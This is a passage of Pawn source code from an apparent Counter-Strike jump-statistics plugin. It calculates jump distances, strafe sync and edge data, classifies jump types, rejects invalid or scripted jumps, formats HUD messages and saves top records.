formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1"); //Back-Side?? don't know...
}
else formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1");
}
else if(backwards[id])
{
formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE2");
}
else pre_type[id] = "";
static bool:ducking;
static type[33];
type[0] = '^0';
new bool:failed;
if (failed_jump[id] == true)
{
formatex( type, 32, "" );
failed=true;
origin=failed_origin[id];
}
else
{
pev(id, pev_origin, origin);
ducking = is_user_ducking( id );
failed=false;
}
if(donehook[id])
{
donehook[id]=false;
failed_jump[id]=true;
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_HOOKPROTECT");
}
if(failed==false)
{
height_difference[id] = ducking ? jumpoff_origin[id][2] - origin[2] - 18.0 : jumpoff_origin[id][2] - origin[2];
if(jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump || jump_type[id]==Type_Bhop_In_Duck)
{
if(height_difference[id] <-22.0)
{
JumpReset(id,4);
return FMRES_IGNORED;
}
if(height_difference[id] > -18.0)
{
if(height_difference[id] <= -1.0)
{
JumpReset(id,5);
return FMRES_IGNORED;
}
}
}
else
{
if(height_difference[id] < -1.0)
{
if((jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_StandUp_CountJump) && height_difference[id]==-18.0)
{
//ColorChat(id, GREEN, "ne reset");
}
else
{
JumpReset(id,6);
return FMRES_IGNORED;
}
}
}
if(jump_type[id]==Type_StandupBhopLongJump)
{
if(height_difference[id] > 1.0)
failed_jump[id]=true;
}
else if(height_difference[id] > 0.0 && jump_type[id]!=Type_Drop_BhopLongJump )
{
JumpReset(id,7);
return FMRES_IGNORED;
}
else if(height_difference[id] > 0.02 && jump_type[id]==Type_Drop_BhopLongJump )
{
failed_jump[id]=true;
}
}
if( is_user_ducking(id))
{
origin[2]+=18.0;
}
static Float:distance1;
if(jump_type[id] == Type_ladder)
{
if(floatabs(jumpoff_origin[id][2]-origin[2])>4.0)
{
failed_jump[id]=true;
}
distance1 = get_distance_f( jumpoff_origin[id], origin )+laddist[id];
}
else distance1 = get_distance_f( jumpoff_origin[id], origin ) + 32.0;
if( is_user_ducking(id) )
{
origin[2]-=18.0;
}
if( frame_velocity[id][1][0] < 0.0 ) frame_velocity[id][1][0] *= -1.0;
if( frame_velocity[id][1][1] < 0.0 ) frame_velocity[id][1][1] *= -1.0;
static Float:land_origin[3];
land_origin[2] = frame_velocity[id][0][2] * frame_velocity[id][0][2] + (2 * get_pcvar_float(sv_gravity) * (frame_origin[id][0][2] - origin[2]));
rDistance[0] = (floatsqroot(land_origin[2]) * -1) - frame_velocity[id][1][2];
rDistance[1] = get_pcvar_float(sv_gravity)*-1;
frame2time = floatdiv(rDistance[0], rDistance[1]);
if(frame_velocity[id][1][0] < 0 )
frame_velocity[id][1][0] = frame_velocity[id][1][0]*-1;
rDistance[0] = frame2time*frame_velocity[id][1][0];
if( frame_velocity[id][1][1] < 0 )
frame_velocity[id][1][1] = frame_velocity[id][1][1]*-1;
rDistance[1] = frame2time*frame_velocity[id][1][1];
if( frame_velocity[id][1][2] < 0 )
frame_velocity[id][1][2] = frame_velocity[id][1][2]*-1;
rDistance[2] = frame2time*frame_velocity[id][1][2];
if( frame_origin[id][1][0] < origin[0] )
land_origin[0] = frame_origin[id][1][0] + rDistance[0];
else
land_origin[0] = frame_origin[id][1][0] - rDistance[0];
if( frame_origin[id][1][1] < origin[1] )
land_origin[1] = frame_origin[id][1][1] + rDistance[1];
else
land_origin[1] = frame_origin[id][1][1] - rDistance[1];
if( is_user_ducking(id) )
{
origin[2]+=18.0;
duckstring[id]=true;
}
land_origin[2] = origin[2];
frame2time += (last_land_time[id]-jumpoff_time[id]);
static Float:distance2;
if(jump_type[id] == Type_ladder)
{
distance2 = get_distance_f( jumpoff_origin[id], land_origin ) +laddist[id];
}
else distance2 = get_distance_f( jumpoff_origin[id], land_origin ) + 32.0;
if(failed==true)
{
if(jump_type[id] == Type_ladder)
{
distance[id] = GetFailedDistance(laddist[id],failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
}
else distance[id] = GetFailedDistance(32.0,failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
}
else distance[id] = distance1 > distance2 ? distance2 : distance1; //distance
new Float:Landing,bool:land_bug;
if(jump_type[id]!=Type_ladder && distance[id]>64.0)
{
new Float:landing_orig[3];
landing_orig=origin;
landing_orig[2]=landing_orig[2]-36.1;
Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
if(distance[id]<(jumpblock[id]+edgedist[id]+Landing))
{
landing_orig=land_origin;
landing_orig[2]=landing_orig[2]-36.1;
Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
Landing=Landing-0.06250;
land_bug=true;
}
else land_bug=false;
}
if(!uq_noslow && entity_get_float(id,EV_FL_fuser2)==0.0 && jump_type[id] != Type_ladder)
{
failed_jump[id]=true;
}
if(fps_hight[id] && jump_type[id]!=Type_ladder)
{
failed_jump[id]=true;
}
if(duckbhop_bug_pre[id])
{
failed_jump[id]=true;
}
new tmp_dist,tmp_min_dist,tmp_maxdist,tmp_mindist_other;
if(Pmaxspeed != 250.0 && jump_type[id]!=Type_ladder)
{
tmp_dist=floatround((250.0-Pmaxspeed)*0.73,floatround_floor);
tmp_min_dist=min_distance-tmp_dist;
}
else tmp_min_dist=min_distance;
tmp_maxdist=max_distance;
tmp_mindist_other=min_distance_other;
if(jump_type[id]!=Type_Bhop_In_Duck && jump_type[id]!=Type_Up_Bhop_In_Duck && jump_type[id]!=Type_Up_Stand_Bhop && jump_type[id] != Type_Up_Bhop && jump_type[id] != Type_ladder && jump_type[id] != Type_Multi_Bhop && jump_type[id]!=Type_DuckBhop && jump_type[id]!=Type_Real_ladder_Bhop)
{
if( distance[id] < tmp_min_dist || tmp_maxdist < distance[id] )
{
JumpReset(id,8);
return FMRES_IGNORED;
}
}
else if( jump_type[id] == Type_ladder && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
{
JumpReset(id,9);
return FMRES_IGNORED;
}
else if( (jump_type[id] == Type_Multi_Bhop || jump_type[id]==Type_Real_ladder_Bhop) && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
{
JumpReset(id,10);
return FMRES_IGNORED;
}
else if( (jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id] == Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop)&& (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
{
JumpReset(id,11);
return FMRES_IGNORED;
}
else if( jump_type[id]==Type_DuckBhop && (distance[id] > tmp_maxdist || distance[id] < tmp_min_dist-150))
{
JumpReset(id,1111);
return FMRES_IGNORED;
}
if( jump_type[id] == Type_LongJump )
{
oldjump_type[id]=1;
}
else oldjump_type[id]=0;
if(jump_type[id] == Type_LongJump && detecthj[id]==1)
{
jump_type[id] = Type_HighJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_HJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_HJ");
}
new Float:kkk;
kkk=1.112*Pmaxspeed;
if((jump_type[id] == Type_LongJump || jump_type[id] == Type_HighJump) && prestrafe[id]>kkk)
{
jump_type[id] = Type_Drop_BhopLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
}
if(touch_somthing[id])
{
failed_jump[id]=true;
}
if(trigger_protection[id])
{
failed_jump[id]=true;
}
new wpn,weapon_name[21],weapon_name1[21],clip,ammo;
wpn = get_user_weapon(id,clip,ammo);
if(wpn)
{
get_weaponname(wpn,weapon_name,20);
get_weaponname(wpn,weapon_name1,20);
replace(weapon_name,20,"weapon_","");
}
else formatex(weapon_name,20,"Unknow");
new t_type;
t_type=0;
switch(jump_type[id])
{
case 0: t_type=1;
case 1: t_type=1;
case 2: t_type=2;
case 9: t_type=2;
case 11: t_type=2;
case 6: t_type=2;
case 7: t_type=2;
case 15: t_type=2;
case 17: t_type=2;
case 18: t_type=2;
case 19: t_type=2;
case 3: t_type=3;
case 5: t_type=3;
case 21: t_type=3;
case 22: t_type=3;
case 13: t_type=4;
case 23: t_type=5;
case 24: t_type=5;
case 12: t_type=6;
}
if(uq_bug==1 && check_for_bug_distance(distance[id],t_type,Pmaxspeed))
{
JumpReset(id,2311);
return FMRES_IGNORED;
}
if(uq_bug==1)
{
new Float:b_check=2.1;
if(jump_type[id]==Type_ladder)
{
b_check=b_check-0.1;
}
if((maxspeed[id]+prestrafe[id])/distance[id]<b_check)
{
JumpReset(id,23451);
return FMRES_IGNORED;
}
}
new god_dist,leet_dist,holy_dist,pro_dist,good_dist;
new d_array[5];
d_array=get_colorchat_by_distance(jump_type[id],Pmaxspeed,tmp_dist,dropaem[id],multiscj[id],aircj);
god_dist=d_array[4];
leet_dist=d_array[3];
holy_dist=d_array[2];
pro_dist=d_array[1];
good_dist=d_array[0];
new script_dist;
if(angles_arry[id]>SCRIPTFRAMES && uq_script_detection)
{
script_dist=god_dist;
switch(uq_script_work)
{
case 0:
script_dist=good_dist;
case 1:
script_dist=pro_dist;
case 2:
script_dist=holy_dist;
case 3:
script_dist=leet_dist;
case 4:
script_dist=god_dist;
}
}
new bool:not_save;//DE MODIFICAT
if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && prestrafe[id]>kkk && !uq_noslow)
{
not_save=true;
}
else if(prestrafe[id]>Pmaxspeed*1.2 && !uq_noslow)
{
not_save=true;
}
else not_save=false;
new bool:find_script;
if(strafe_num[id]>4 && angles_arry[id]>SCRIPTFRAMES && uq_script_detection && distance[id]>script_dist && !not_save)
{
if(FullJumpFrames[id]>80)
failed_jump[id]=true;
else
find_script=true;
}
//streifs stat
sync_[id] = INFO_ZERO;
strMess[0] = '^0'; //unnecessary?
strMessBuf[0] = '^0'; //unnecessary?
strLen = INFO_ZERO;
badSyncTemp = INFO_ZERO;
goodSyncTemp = INFO_ZERO;
new Float:tmpstatspeed[NSTRAFES],Float:tmpstatpoteri[NSTRAFES];
Fulltime = last_land_time[id]-jumpoff_time[id];
if(strafe_num[id] < NSTRAFES)
{
strafe_stat_time[id][0] = jumpoff_time[id];
strafe_stat_time[id][strafe_num[id]] =last_land_time[id];
for(jj = 1;jj <= strafe_num[id]; jj++)
{
//client_print(id,print_chat,"%d=%d,%d - %d",jj,strafe_stat_sync[id][jj][0],strafe_stat_sync[id][jj][1],strafe_lost_frame[id][jj]);
time_ = ((strafe_stat_time[id][jj] - strafe_stat_time[id][jj-1])*100) / (Fulltime);
if ((strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]) > 0)
{
sync_[id] =(strafe_stat_sync[id][jj][0] * 100)/(strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]); //using like a buffer
}
else
{
sync_[id] = 0;
}
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS1", jj, strafe_stat_speed[id][jj][0], strafe_stat_speed[id][jj][1], time_, sync_[id]);
goodSyncTemp += strafe_stat_sync[id][jj][0];
badSyncTemp += strafe_stat_sync[id][jj][1];
tmpstatspeed[jj]=strafe_stat_speed[id][jj][0];
tmpstatpoteri[jj]=strafe_stat_speed[id][jj][1];
if(tmpstatpoteri[jj]>200)
{
if(duckstring[id]==false)
duckstring[id]=true;
}
if(tmpstatpoteri[jj]>200 && Checkframes[id])
{
Checkframes[id]=false;
failed_jump[id]=true;
}
}
//client_print(id,print_chat,"full=%d - %d,%d",FullJumpFrames[id],strafe_stat_sync[id][0][0],strafe_stat_sync[id][0][1]);
if(strafe_num[id]!=0)
{
if (jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS2",strafe_stat_speed[id][0][0]);
}
if (duckstring[id]==false)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS3");
}
if (jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_Up_Stand_Bhop)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS4");
}
if(wpn!=29 && wpn!=17 && wpn!=16)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS5",weapon_name);
}
if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
{
strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS6",jumpblock[id],edgedist[id]);
}
else if(land_bug)
{
strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS7",jumpblock[id],edgedist[id],Landing);
}
else strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS8",jumpblock[id],edgedist[id],Landing);
}
else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0)
{
strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS9",jumpblock[id],edgedist[id]);
}
else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
{
strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS10",edgedist[id]);
}
if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS11",upheight[id]);
}
if(fps_hight[id] && jump_type[id]!=Type_ladder)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS12");
}
if(ladderbug[id])
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS13");
failed_jump[id]=true;
}
if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS14");
failed_jump[id]=true;
}
if(touch_somthing[id])
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS15");
}
if(find_script)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS16");
failed_jump[id]=true;
}
if(trigger_protection[id])
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_TRIGGERPROTECT");
}
}
}
//Sync
if( goodSyncTemp > 0 ) sync_[id]=(goodSyncTemp*100/(goodSyncTemp+badSyncTemp));
else sync_[id] = INFO_ZERO;
switch( jump_type[id] )
{
case 0: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE1"); //Lj
case 1: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE2" ); //hj
case 2:
{
if(CjafterJump[id]==1)
{
if(ddforcjafterbhop[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE3" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAB");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAB");
}
else if(ddforcjafterladder[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE4" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAL");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAL");
}
else
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE5" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
}
}
else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE6" ); //cj
}
case 3: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE7" );//bj
case 4: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE8" );//??
case 5: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE9" );//sbj
case 6:
{
if(ddbeforwj[id]==false)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE10" ); //wj
}
else
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE11" );
}
}
case 7: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE12" );
case 9:
{
if(CjafterJump[id]==2)
{
if(ddforcjafterbhop[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE13" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAB");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAB");
}
else if(ddforcjafterladder[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE14" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAL");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAL");
}
else
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE15" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
}
}
else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE16" ); //dcj
}
case 11:
{
if(CjafterJump[id]==3)
{
if(ddforcjafterbhop[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE17" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAB");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAB");
}
else if(ddforcjafterladder[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE18" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAL");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAL");
}
else
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE19" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
}
}
else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE20" );//mcj
}
case 12: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE21" );//nothing
case 13: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE22" );//ld
case 15: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE23" );
case 16: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE24" );
case 17: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE25" );
case 18:
{
if(multidropcj[id]==0)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE26" );
}
else if(multidropcj[id]==1)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE27" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDCJ");
}
else if(multidropcj[id]==2)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE28" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMCJ");
}
}
case 19:
{ if(dropaem[id])
{
if(multiscj[id]==0)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE29" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPSCJ");
}
else if(multiscj[id]==1)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE30" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPDSCJ");
}
else if(multiscj[id]==2)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE31" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPMSCJ");
}
}
else if(ddstandcj[id])
{
if(multiscj[id]==0)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE32" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJAF");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJAF");
}
else if(multiscj[id]==1)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE33" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJAF");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJAF");
}
else if(multiscj[id]==2)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE34" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJAF");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJAF");
}
}
else
{
if(multiscj[id]==0)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE35" );
}
else if(multiscj[id]==1)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE36" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJ");
}
else if(multiscj[id]==2)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE37" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJ");
}
}
}
case 20:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE38" );
case 21:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE39" );
case 22:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE40" );
case 23:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE41");
case 24:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE42");
}
//gain
new Float:gain[33];
gain[id] = floatsub( maxspeed[id], prestrafe[id] );
if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && uq_drsbj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && uq_dscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && uq_mscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && uq_dropscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && uq_dropdscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && uq_dropmscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Double_CountJump&& uq_dcj==0)
{
JumpReset(id,13);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Multi_CountJump && uq_mcj==0)
{
JumpReset(id,14);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_CountJump && uq_cj==0)
{
JumpReset(id,15);
return FMRES_IGNORED;
}
else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && uq_lj==0)
{
JumpReset(id,16);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_ladder && uq_ladder==0)
{
JumpReset(id,17);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Bhop_In_Duck && (uq_bhopinduck==0 ))
{
JumpReset(id,18);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==0 ))
{
JumpReset(id,18);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==0) )
{
JumpReset(id,18);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==0 ))
{
JumpReset(id,18);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_BhopLongJump && uq_bj==0)
{
JumpReset(id,19);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_ladderBhop && uq_ldbj==0)
{
JumpReset(id,20);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Real_ladder_Bhop && uq_realldbhop==0)
{
JumpReset(id,20);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_WeirdLongJump && uq_wj==0)
{
JumpReset(id,21);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && uq_drcj==0)
{
JumpReset(id,22);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && uq_dropdcj==0)
{
JumpReset(id,22);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && uq_dropmcj==0)
{
JumpReset(id,22);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Drop_BhopLongJump && uq_drbj==0)
{
JumpReset(id,23);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandupBhopLongJump && uq_sbj==0)
{
JumpReset(id,24);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Up_Stand_Bhop && uq_upsbj==0)
{
JumpReset(id,24);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Multi_Bhop && uq_multibhop==0)
{
JumpReset(id,242);
return FMRES_IGNORED;
}
for(new i=1;i<NSTRAFES;i++)
{
if(tmpstatspeed[i]>40 && jump_type[id]!=Type_ladder && jump_type[id]!=Type_Real_ladder_Bhop && jump_type[id]!=Type_Slide)
{
JumpReset(id,40);
return FMRES_IGNORED;
}
}
if(jump_type[id]==Type_Multi_Bhop && multibhoppre[id]==false)
{
g_reset[id]=true;
return FMRES_IGNORED;
}
if(!failed_jump[id] && !not_save)
{
new tmp_type_num=-1;
//saving tops
if(!ddstandcj[id] && !CjafterJump[id] && jump_type[id]!=Type_None && jump_type[id]!=Type_Null && jump_type[id]!=Type_Nothing && jump_type[id]!=Type_Nothing2 && Pmaxspeed==250.0 && kz_top==1 && kz_map_top==1)
{
checkmap( id, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id],Jtype1[id]);
}
if(!CjafterJump[id] && jump_type[id]==Type_Double_CountJump && kz_top==1 && uq_dcj==1)
{
if(kz_sql==0)
{
if(Pmaxspeed==250.0)
{
checktops1( id,Type_List[10],10, distance[id], maxspeed[id], prestrafe[id], strafe_num[id], sync_[id]);
if(kz_block_top==1 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
checktops_block( id,Type_List[10],10, distance[id], edgedist[id], jumpblock[id]);
}
}
else if(Pmaxspeed!=250.0 && kz_weapon)
{
